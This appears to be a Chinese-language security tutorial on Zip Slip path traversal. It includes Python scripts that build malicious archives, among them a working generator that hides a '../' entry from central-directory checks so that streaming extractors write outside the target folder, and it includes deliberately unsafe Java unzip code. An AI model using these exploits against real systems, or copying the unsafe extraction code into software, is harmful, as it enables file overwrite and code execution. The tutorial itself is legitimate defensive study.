zip slip 基本原理 zip slip 漏洞也是路径穿越的一种,通过相关函数解压恶意的压缩文件来进行攻击,攻击者通过构造一个带有../的压缩文件,上传后交给相关函数进行解压,由于程序解压时没有对文件名进行合法校验,直接将文件名与目录进行拼接,导致文件被解压到原本解压路径之外的地方,可能覆盖其他文件或造成代码执行
生成脚本
1 2 3 4 5 6 7 8 9 10 11 12 import zipfileimport osif __name__ == "__main__" : try : zipFile = zipfile.ZipFile("poc.zip" , "a" , zipfile.ZIP_DEFLATED) info = zipfile.ZipInfo("poc.zip" ) zipFile.write("/filezip/test/hi.txt" ,"../hi/hello.txt" ,zipfile.ZIP_DEFLATED) zipFile.close() except IOError as e: raise e
通过 java 复现该漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import org.apache.tools.zip.ZipEntry;import org.apache.tools.zip.ZipFile;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.util.Enumeration;public class zipTest { public static void main (String[] args) throws Exception { String fileAddress = "poc.zip" ; String unZipAddress = "/filezip/test/111/" ; File file = new File (fileAddress); ZipFile zipFile = null ; try { zipFile = new ZipFile (file,"GBK" ); } catch (IOException exception) { exception.printStackTrace(); System.out.println("解压文件不存在!" ); } Enumeration e = zipFile.getEntries(); while (e.hasMoreElements()) { ZipEntry zipEntry = (ZipEntry)e.nextElement(); System.out.println(zipEntry.getName()); File f = new File (unZipAddress + zipEntry.getName()); f.getParentFile().mkdirs(); f.createNewFile(); InputStream is = zipFile.getInputStream(zipEntry); FileOutputStream fos = new FileOutputStream (f); int length = 0 ; byte [] b = new byte [1024 ]; while ((length=is.read(b, 0 , 1024 ))!=-1 ) { fos.write(b, 0 , length); } is.close(); fos.close(); } if (zipFile != null ) { zipFile.close(); } } }
参考链接
绕过 zip slip 漏洞检查 安全研究员Paweł Hałdrzyński发现在某些情况下,可以利用验证是否存在 zip slip 漏洞的方法与解压缩方法之间的解析差异对其进行绕过
zip 文件格式简述 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [ Local File Header A ] [ File Data A ] [ (Optional) Data Descriptor A ] [ Local File Header B ] [ File Data B ] [ (Optional) Data Descriptor B ] [ Local File Header C ] [ File Data C ] [ (Optional) Data Descriptor C ] [ Central Directory Entry for A ] [ Central Directory Entry for B ] [ Central Directory Entry for C ] [ End of Central Directory Record (EOCD) ]
zip文件格式简单来说可以分为三个部分数据存储区、中央目录区、中央目录结束记录(EOCD)
数据存储区:包含本地文件头、文件数据、文件描述(可选)
本地文件头(Local File Header)是 ZIP 文件格式中每个压缩文件条目开头的元数据块,用于描述紧随其后的压缩数据。它以固定签名50 4B 03 04(即 ASCII 字符 'PK\x03\x04')开头
偏移
字节数
字段名
说明
0
4
Local file header signature
固定值 0x04034b50(小端序)
4
2
Version needed to extract
解压所需最低版本(如 20 表示 2.0)
6
2
General purpose bit flag
通用标志位(如是否加密、是否使用数据描述符等)
8
2
Compression method
压缩方法(0=不压缩,8=DEFLATE,12=BZIP2 等)
10
2
File last modification time
最后修改时间(DOS 格式)
12
2
File last modification date
最后修改日期(DOS 格式)
14
4
CRC-32
未压缩数据的 CRC32 校验值
18
4
Compressed size
压缩后大小(若使用数据描述符,此处可能为 0)
22
4
Uncompressed size
未压缩时大小(同上)
26
2
File name length (n)
文件名长度
28
2
Extra field length (m)
额外字段长度
30
n
File name
文件名(UTF-8 编码需通过标志位指示)
30+n
m
Extra field
额外字段(如 Unix 时间戳、Zip64 扩展等)
中央目录:汇总了所有文件的元信息,便于快速查找和验证。每个文件在中央目录中有一条记录,以固定签名50 4B 01 02开头
提供全局文件列表:列出 ZIP 中所有文件(包括目录)
记录每个文件的关键元数据:如文件名、压缩方法、CRC、时间戳等
定位本地文件头的位置:通过local_header_offset告诉解压器这个文件的数据在 ZIP 的哪个位置
支持随机访问:无需扫描整个 ZIP,即可知道有哪些文件、是否需要解压某个文件
冗余备份:即使 Local Header 损坏,只要 Central Directory 完好,仍可恢复文件(部分工具支持)
偏移
字节数
字段名
说明
0
4
Central directory file header signature
固定值:0x02014b50(小端序)
4
2
Version made by
创建 ZIP 的软件版本和主机系统 高字节 = 主机系统(0=MS-DOS, 3=Unix, 19=macOS 等) 低字节 = 版本号(如 20=2.0)
6
2
Version needed to extract
解压所需最低版本(如 20 表示 2.0)
8
2
General purpose bit flag
通用标志位(如是否加密、是否使用数据描述符等)
10
2
Compression method
压缩方法(0=不压缩,8=DEFLATE,12=BZIP2 等)
12
4
File last mod time/date
最后修改时间(MS-DOS 时间格式)
16
4
CRC-32
未压缩数据的 CRC32 校验值
20
4
Compressed size
压缩后大小(字节)
24
4
Uncompressed size
未压缩原始大小(字节)
28
2
File name length
文件名长度
30
2
Extra field length
额外字段长度
32
2
File comment length
文件注释长度(Local Header 没有此字段!)
34
2
Disk number start
文件数据起始磁盘编号(分卷 ZIP 使用,通常为 0)
36
2
Internal file attributes
内部属性(如文本/二进制标志,很少用)
38
4
External file attributes
外部文件属性(用于还原权限)
42
4
Relative offset of local header
本地文件头相对于 ZIP 开头的偏移量(关键!用于定位数据)
46
n
File name
文件名
46+n
m
Extra field
额外字段(同 Local Header,如 ZIP64、时间戳等)
46+n+m
k
File comment
文件注释(可选,最多 65535 字节)
中央目录结束记录(EOCD):标识中央目录的结束,并提供中央目录的位置和大小信息,是 ZIP 文件解析的入口点,以固定签名 50 4B 05 06(即 ASCII 字符'PK\x03\x04')开头
偏移
字节数
字段名
说明
0
4
End of central dir signature
0x06054b50(小端序)
4
2
Number of this disk
当前分卷号(通常为 0)
6
2
Disk where central dir starts
中央目录起始分卷(通常为 0)
8
2
Number of central dir records on this disk
本卷中央目录条目数
10
2
Total number of central dir records
总条目数
12
4
Size of central directory
中央目录总字节数
16
4
Offset of start of central directory
中央目录起始偏移
20
2
ZIP file comment length (n)
ZIP 注释长度
22
n
ZIP file comment
ZIP 全局注释
解压缩的两种方式 一种是随机访问解压缩,在解压时,会从文件末尾向前搜索,通过50 4B 05 06定位到中央目录结束记录(EOCD),根据其中的信息定位到中央目录区,逐个解析中央目录50 4B 01 02,得到每个压缩文件的信息,然后根据本地文件头相对于 ZIP 开头的偏移量定位每个被压缩的文件,这种解压方式的好处是,可以根据元数据,单独对其中的某个文件进行解压
还有一种解压缩方式是流式解压缩,从 zip 文件头开始,根据本地文件头(Local File Header)的元数据来解压文件,直到流结束或读取到中央目录签名处为止
解析差异性导致漏洞 因为解压缩有两种方式,如果说在防范 zip slip 漏洞时,先调用check方法来检测是否存在漏洞,该方法通过随机解压缩的方式来读取压缩文件名,判读是否存在路径穿越符,如果判断无风险,则将 zip 文件传给unzip方法进行解压,而解压缩方法使用的是流式解压缩
利用两种解压缩方法的差异,修改中央目录,只记录安全文件的信息,这样检查时读取的文件名都是无风险的,而使用流失解压时,会将有风险的文件解压出来,因为解压方式差异照成漏洞
下面这个脚本生成的是只有流中带有危险文件的压缩包,脚本生成的压缩包格式如下,这样就造成随机解压方式得到的是安全文件,流式解压方式得到的是不安全文件
1 2 3 4 5 6 7 8 9 10 11 12 13 [ Local File Header A(unsafe file) ] [ File Data A(unsafe file) ] [ (Optional) Data Descriptor A(unsafe file) ] [ Central Directory Entry for A (unsafe file)] [ Local File Header B(safe file) ] [ File Data B(safe file) ] [ (Optional) Data Descriptor B(safe file) ] [ Central Directory Entry for B(safe file) ] [ End of Central Directory Record (EOCD)(指向 safe file 的中心目录) ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import zipfileimport ioimport structdef create_zip (files ): buffer = io.BytesIO() with zipfile.ZipFile(buffer, 'w' , zipfile.ZIP_DEFLATED) as zf: for filename, content in files.items(): zf.writestr(filename, content) return buffer.getvalue()def fix_offsets (zip_bytes, offset_shift ): data = bytearray (zip_bytes) i = 0 while True : i = data.find(b'\x50\x4b\x01\x02' , i) if i == -1 : break current_offset = struct.unpack('<I' , data[i+42 :i+46 ])[0 ] new_offset = current_offset + offset_shift data[i+42 :i+46 ] = struct.pack('<I' , new_offset) i += 4 i = data.rfind(b'\x50\x4b\x05\x06' ) if i != -1 : current_cd_offset = struct.unpack('<I' , data[i+16 :i+20 ])[0 ] new_cd_offset = current_cd_offset + offset_shift data[i+16 :i+20 ] = struct.pack('<I' , new_cd_offset) else : print ("Warning: EOCD not found" ) return bytes (data)def main (): print ("Generating Evil ZIP..." ) evil_files = { '../../../../../../../../../../tmp/pwned.txt' : 'You have been PWNED via Zip Slip!' } evil_bytes = create_zip(evil_files) print ("Generating Safe ZIP..." ) safe_files = { 'safe.txt' : 'This is safe content' } safe_bytes = create_zip(safe_files) print (f"Adjusting offsets for Safe ZIP (shift by {len (evil_bytes)} bytes)..." ) fixed_safe_bytes = fix_offsets(safe_bytes, len (evil_bytes)) final_bytes = evil_bytes + fixed_safe_bytes filename = 'schizo_slip.zip' with open (filename, 'wb' ) as f: f.write(final_bytes) print (f"Created {filename} " ) print (f"Total size: {len (final_bytes)} bytes" ) print ("Structure: [Evil ZIP (hidden from ZipFile)] + [Safe ZIP (visible to ZipFile)]" )if __name__ == "__main__" : main()
可通过如下 java 代码进行验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import java.io.*;import java.util.zip.*;public class NotSoSafeController { public static void main (String[] args) { File zipFile = new File ("schizo_slip.zip" ); File outputDir = new File ("/file/test" ); try (ZipFile zip = new ZipFile (zipFile)) { for (ZipEntry entry : java.util.Collections.list(zip.entries())) { System.out.println("Checking file " + entry.getName() + " for path traversal" ); zipSlipCheck(outputDir, entry); } try (InputStream stream = new FileInputStream (zipFile)) { UnsafeUnzip.unzip(stream, outputDir); } } catch (IOException e) { System.err.println(e.getMessage()); } } public static File zipSlipCheck (File targetPath, ZipEntry zipEntry) throws IOException { String name = zipEntry.getName(); File f = new File (targetPath, name); String canonicalPath = f.getCanonicalPath(); if (!canonicalPath.startsWith(targetPath.getCanonicalPath() + File.separator)) { throw new ZipException ("Illegal name: " + name); } return f; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import java.io.*;import java.util.zip.*;public class UnsafeUnzip { public static void unzip (InputStream inStream, File outputDir) throws IOException { try (ZipInputStream zis = new ZipInputStream (inStream)) { ZipEntry entry; while ((entry = zis.getNextEntry()) != null ) { File outFile = new File (outputDir, entry.getName()); if (entry.isDirectory()) { outFile.mkdirs(); continue ; } File parent = outFile.getParentFile(); if (parent != null ) { parent.mkdirs(); } try (FileOutputStream fos = new FileOutputStream (outFile)) { byte [] buffer = new byte [8192 ]; int len; while ((len = zis.read(buffer)) != -1 ) { fos.write(buffer, 0 , len); } } } } } }
防范措施 在解压缩时进行验证,或者检查与解压缩使用同一种方式
参考链接 Disguises Zip Past Path Traversal
Yet another ZIP trick
ZIP File Format Specification
ZIP文件结构解析